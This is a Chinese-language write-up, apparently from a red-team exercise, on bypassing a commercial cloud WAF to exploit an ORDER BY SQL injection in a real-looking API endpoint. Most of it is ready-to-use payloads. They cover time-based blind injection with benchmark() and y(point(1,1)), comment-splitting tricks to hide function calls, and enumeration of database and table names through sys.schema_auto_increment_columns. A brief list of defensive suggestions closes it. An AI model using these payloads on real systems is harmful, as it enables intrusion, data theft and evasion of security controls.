hw中用到的某云waf绕过技巧
字数 1539 2025-08-30 06:50:28
某云WAF绕过技巧详解
1. 注入点识别与初步测试
1.1 发现注入点
在HW攻防活动中发现的目标URL:
/api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1&page=1&pageSize=10&ts=175082141514&orderBy=1
关键点:
orderType参数加单引号报错- 参数名
orderType和orderBy暗示可能存在ORDER BY注入
1.2 初步注入测试
尝试时间盲注:
orderType=1+or+(select*from(select(sleep(3)))x)
结果:被某云WAF拦截
2. WAF绕过技术详解
2.1 WAF规则分析
通过分段测试确定WAF拦截规则:
| 测试输入 | 拦截情况 | 结论 |
|---|---|---|
1 or (select) |
不拦截 | WAF不拦截单独的关键字 |
1 or (select*) |
拦截 | 拦截select+任意字符组合 |
1 or (select 0) |
拦截 | 拦截select后跟空格和内容 |
1 or (select()) |
拦截 | 拦截select后跟括号 |
2.2 Y函数绕过技术
使用y(point(1,1))函数成功绕过WAF:
orderType=1+or+y(point(1,1))
特点:
- 不常见函数组合
- 不会引起报错
- 能正常返回数据
2.3 时间盲注绕过
2.3.1 绕过sleep()函数
sleep(1)被拦截,尝试替代方案:
benchmark(51111111,1)
成功构造延时注入:
orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/benchmark(51111111,1))x)
2.3.2 添加条件判断
加入if判断未被拦截:
orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(1=1,benchmark(51111111,1),1))x)
2.4 字符串处理函数绕过
2.4.1 基本函数测试
ascii():未被拦截substr():被拦截
2.4.2 替代substr()的方法
使用right(left())组合:
right(left(1,1),1)
完整示例:
orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(1,1),1))=1,benchmark(51111111,1),1))x)
2.5 数据库信息获取绕过
2.5.1 绕过user()/database()/version()
拦截规则:
database:不拦截database():拦截user:不拦截user():拦截version:不拦截version():拦截
结论:WAF拦截的是关键字+()的组合
2.5.2 绕过方法
- 使用反引号``绕过(仅适用于version())
- 使用
/*!12345*/注释语法:
orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(database/*!12345*/,1),1))!=1,benchmark(51111111,1),1))x)
2.6 信息schema绕过
2.6.1 拦截规则
information_schema:不拦截information_schema.x:拦截(拦截点号连接)
2.6.2 替代方案
使用sys.schema_auto_increment_columns:
orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left((select/*!5555555*/group_concat(table_name)/*!12345*/from/*!12345*/(sys.schema_auto_increment_columns/*!12345*/)),1),1))!=1,benchmark(51111111,1),1))x)
3. 完整注入流程示例
- 确认注入点存在:
orderType=1+or+y(point(1,1))
- 确认时间盲注可行:
orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/benchmark(51111111,1))x)
- 获取数据库信息:
orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(database/*!12345*/,1),1))!=1,benchmark(51111111,1),1))x)
- 获取表名信息:
orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left((select/*!5555555*/group_concat(table_name)/*!12345*/from/*!12345*/(sys.schema_auto_increment_columns/*!12345*/)),1),1))!=1,benchmark(51111111,1),1))x)
4. 关键技巧总结
-
Y函数技巧:
y(point(1,1))是不常见的函数组合,能有效绕过WAF检测 -
函数调用绕过:
- 使用
/*!12345*/分割函数名和括号 - 例如:
database/*!12345*/代替database()
- 使用
-
字符串处理替代:
- 用
right(left())组合代替被拦截的substr()
- 用
-
延时函数选择:
- 优先使用
benchmark()代替被拦截的sleep()
- 优先使用
-
信息schema替代:
- 使用
sys.schema_auto_increment_columns代替被拦截的information_schema.tables
- 使用
-
注释技巧:
- 灵活使用
/**/和/*!12345*/分割敏感关键字
- 灵活使用
5. 防御建议
- 对ORDER BY参数进行严格类型检查,强制转换为整数
- 实现参数白名单机制,限制可排序的字段
- 监控异常SQL执行模式,特别是包含不常见函数组合的查询
- 定期更新WAF规则,加入对
y(point())等非常用函数组合的检测 - 限制数据库用户权限,避免使用高权限账户连接数据库